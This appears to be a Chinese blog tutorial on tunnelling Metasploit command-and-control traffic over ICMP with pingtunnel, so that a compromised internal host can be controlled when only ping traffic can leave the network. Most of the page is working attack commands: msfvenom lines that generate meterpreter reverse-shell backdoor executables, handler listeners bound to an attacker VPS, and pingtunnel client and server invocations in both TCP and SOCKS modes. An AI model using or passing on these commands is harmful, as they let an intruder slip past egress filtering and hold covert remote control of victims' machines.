ICMP隧道

后台私信找我获取工具 

目录

ICMP隧道作用

ICMP隧道转发TCP上线MSF

开启服务端

生成后门木马 

msf开启监听 

 开启客户端icmp隧道

执行后门木马,本地上线 

ICMP隧道转发SOCKS上线MSF 

开启服务端

生成后门木马

msf开启监听  

 开启客户端icmp隧道 

​执行后门木马,本地上线 


ICMP隧道作用

通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道,TCP和UDP等传输层协议不能出网,DNS、HTTP等应用层协议也不能出网,只有ICMP协议可以出网。

ICMP隧道转发TCP上线MSF

开启服务端

./pingtunnel -type server

生成后门木马 

注意:该木马监听的是本地

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=9999 -f exe -o 9999.exe

msf开启监听 

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 9999  #监控全段的ip
或
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 9999   #192.168.20.128自己的vps的ip

 开启客户端icmp隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s  192.168.20.128  -t 192.168.20.128:9999 -tcp 1 -noprint 1 -nolog 1

执行后门木马,本地上线 

ICMP隧道转发SOCKS上线MSF 

开启服务端

生成后门木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=8888 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8888.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=8888 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe -o 8888.exe

msf开启监听  

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 8888  #监控全段的ip
或
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 8888   #192.168.20.128自己的vps的ip

 开启客户端icmp隧道 

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.20.128 -sock5 1 -noprint 1 -nolog 1

 执行后门木马,本地上线 

 

相关推荐

  1. 计算机网络层之ICMPIGMP

    2024-07-10 20:10:06       47 阅读
  2. DNS<span style='color:red;'>隧道</span>

    DNS隧道

    2024-07-10 20:10:06      30 阅读
  3. ICMP控制消息 汇总

    2024-07-10 20:10:06       42 阅读
  4. 深入理解 ICMP 协议

    2024-07-10 20:10:06       29 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 20:10:06       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 20:10:06       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 20:10:06       45 阅读
  4. Python语言-面向对象

    2024-07-10 20:10:06       55 阅读

热门阅读

  1. Spring Boot中的多租户架构实现

    2024-07-10 20:10:06       22 阅读
  2. 单链表的学习与基础运用p

    2024-07-10 20:10:06       25 阅读
  3. 如何正确使用Redisson实现分布式锁

    2024-07-10 20:10:06       19 阅读
  4. 开源软件项目的崛起:机遇、挑战与个人成长

    2024-07-10 20:10:06       17 阅读
  5. Electron 跨平台桌面应用开发工具

    2024-07-10 20:10:06       18 阅读
  6. 【linux】linux的特殊符号

    2024-07-10 20:10:06       18 阅读
  7. Rust:常见 GUI 框架

    2024-07-10 20:10:06       19 阅读
  8. 【C++ 】中类的成员函数和析构函数的作用

    2024-07-10 20:10:06       16 阅读
  9. HTTP与HTTPS详解及其请求与响应报文的查看方法

    2024-07-10 20:10:06       22 阅读